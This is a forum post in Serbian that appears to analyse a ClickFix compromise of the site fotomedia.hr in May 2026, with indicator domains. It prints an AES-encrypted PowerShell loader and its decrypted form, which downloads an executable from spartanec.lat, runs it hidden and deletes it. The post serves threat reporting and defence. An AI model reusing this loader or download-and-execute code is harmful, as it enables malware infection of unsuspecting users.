[milos_rs]

Sajt fotomedia.hr je bio žrtva kompromitacije koja je širila ClickFix sa ovog sajta približno između 17.05.2026 i 24.05.2026 što su datumi za koje sam našao skeniranje sajta preko na urlscan.io 
Sajt je od tada izgleda nedostupan, traži korisničko ime i šifru kada se otvori.

   

zlonamerna ubačena skripta šalje zahtev na Polygon blokčejn radi dobijanja domena sa kojeg treba da vuče prvu fazu.

24.05 je dobio domen spartanec.lat

   

Onda je daljim upitima adresi na tom domenu dobijen kôd koji se kopira u klipbord i izvršava na računaru koji je enrkiptovan i zamagljen :

Code:

{"ok":true,"token":"$auth1e=[Convert]::FromBase64String('TUSw4sizNnM5jqFdgsBE5XXpuKpuC2PtyOZSJOtLz7A=');$pipe5b=[Convert]::FromBase64String('wjfGsZ9khnN6D0zn\/lkyDg==');$scope7c=[Convert]::FromBase64String('Hpn60SJVFf+zOdEYsE9BdsHPM8N2K\/qLZRMCH6wrbJxriHy43AUENuENP6VjWGvN8VrOZcEra9hDbDiD54ZbaV3OCHxJ8+GfX+nS3YP5jNUASTc+JiOjmC0XSUXPbn8CZuOIlzFHW2Il72PHOHzohAcgL1jA2oLqe3\/AI+DwMa+ZltUbJH7hKcanr7J8M6hMEI7zeCfZ3BUztkGCfUZoHKqLyzDj2C5OgU305ZN06MSXnf0w\/5h2jnSnIm7UBuSRfmNc3NYK0mhtpS4y8DS8qDp4UEmE61mhdkPFsxwPsmBcKq09qEqGR\/EjqLEOOASNRhlfSsNL91hbEXdQxpGGa92NCmBcA0v5Sw6yevC7VQIDdNoWv0cI+gVmXDqkNFCCMvv404e\/rLOcPLXsng\/h855fmdIVDEIHqLpHqZt9Zb3nl2nGS87G4UXsseehCa\/5+3RT1KFoXiopTgWP7YJd5hqJY5zhSgzmkD7HaNBPMtFGjvzVK73UVw0cIqX7qZAjbdgKKUsT5S90ihfIBwo4YCIG7nBbkaaYH5lfZKAbLIXdLV6mP4SMTEEIDhh9oGZj3qByTDBCgN\/945gIO3B9Lqc5uze9w7BSJ6QcJmlPD0YUwiLKIvjCdo\/k0o\/HXLzb0FsbxRLEawWVFI269Xoh+TXOCwCiJVTr\/NwkdIJ7Fts8BmsWqq26zYjeKZhDVltPNsM+v7cPzh9zZ+5Ybf6JOHaGJy8TpQIIJX\/eooyhhol9kkL3oDB0t4vxBybDnVToTC0uUNhCSFj5VZtC6xZej0YQogBP1dvU6kEneosePAXrxiY\/7eTIQRcouVUC9E8E2qrkh3tt7tyTJwHOR0wIBTqJ+44JFmK3eeOczFl43zSR6CYGOjQkUNUQj1AdA0wdrcd3TfoBA4ebeYKqYcNIcnsF5m4sPX3fuyPHE+2ItuzCTD2yvbTLFeoWzRSHPZiFJB6gmcGol9BHv5QMJ3Nbjabvbz\/sRc3v82xrwoMWsY2cTBWut8Z0fVf5+mrp1PN15OcECGyDSCwfsqlLN6SENsvf\/xxguBIPLmx8YdGRUnm4t1A6Vc+rX9ZIpeSHqSONYNrxEXOTw\/xWQTaMt4JN2E5JJUhRT2VRqpQZG9l0ysdPvW6dtjMNT4Mu\/VrMH6hvDU8CVdtnyvPj7Sf+4aP2s4nf+k3PpuzFap2Si4nDagtxSMfD7HqBJfjc+tJ\/Gp4WQ5DMGq1hOi9mJdZxXi\/dnUDxGNPntCbVP5+ji8ukedskETr6Mx7kiqJSqxw9Lct92hkW4TmNxNCM1oFrAuPGn7w1pXzRhhGKZRy80tYbdodRbWzYuHl3oz\/ud\/2EMzx78bj3QLbgCzwdWEKhA2jrVXi2IgXPZBs1R0uzYPRt47lfs6oBpPZfFF0ypH4iWZB1v6aGvj6nn9omoiLnc8Awkb8XeaLrYJmIVdHPJ2umy46S44HZc1UY9dbmCiNg9qS7ZUSEQh82QjWrOBznbKxYrSeLFVJ2RAf\/ISlP8nlwqmuEZFBL6cMSyb1jRxJuwp6Vw8UjNwiDnyXgQHgIS6Pdxg==');$link1e=([type]('Security.Cryptography'+'.Aes'));$port6j=$link1e::Create();$port6j.Key=$auth1e;$port6j.IV=$pipe5b;$port6j.Mode='CBC';$port6j.Padding='PKCS7';$link1e=[Text.Encoding]::UTF8.GetString($port6j.CreateDecryptor().TransformFinalBlock($scope7c,0,$scope7c.Length));$port6j.Dispose();&([scriptblock]::Create($link1e));exit"}

Posle dekripcije imamo celu komandu i URL sa kojeg skida malver za izvršavanje na računaru kada neko izvrši komande koje zahteva lažna captcha stranica :

Code:

$queue7c=[IO.Path]::Combine($env:TEMP,[guid]::NewGuid().ToString('N').Substring(0,8));[void][IO.Directory]::CreateDirectory($queue7c);$task0k=[IO.Path]::Combine($queue7c,[guid]::NewGuid().ToString('N').Substring(0,6)+'.exe');$auth5b=$false;for($i=0;$i -lt 3 -and !$auth5b;$i++){try{$sess8f=[Net.WebRequest]::Create('https://spartanec.lat/api/index.php?a=dl&token=8caaf953d89478b8a7191eb32295c117a310b53ac9059d4ad69a1e397ec3b2d4&src=fotomedia.hr&mode=cloudflare');$sess8f.Timeout=15000;$pipe7c=$sess8f.GetResponse().GetResponseStream();$task5b=[IO.FileStream]::new($task0k,'Create');$pipe7c.CopyTo($task5b);$task5b.Close();$pipe7c.Close();if([IO.File]::Exists($task0k)){$auth5b=$true}}catch{Start-Sleep 2}};if(!$auth5b){return};$batch6j=$true;try{([wmiclass]'Win32_Process').Create($task0k)|Out-Null;$batch6j=$false}catch{};if($batch6j){try{$pipe8f=New-Object -ComObject WScript.Shell;[void]$pipe8f.Run($task0k,0,$false);$batch6j=$false}catch{}};if($batch6j){$auth5b=[Diagnostics.ProcessStartInfo]::new($task0k);$auth5b.WindowStyle='Hidden';$auth5b.CreateNoWindow=$true;[Diagnostics.Process]::Start($auth5b)|Out-Null};try{[IO.File]::Delete($task0k)}catch{}

Šta ovaj kôd radi prepuštam DeepSeek-u :

   

drugi domeni koji su ostalim danima kompromitacije korišćeni na ovom sajtu za učitavanje ClickFix stranice:

Code:

biletors.cfd marinaradom.cfd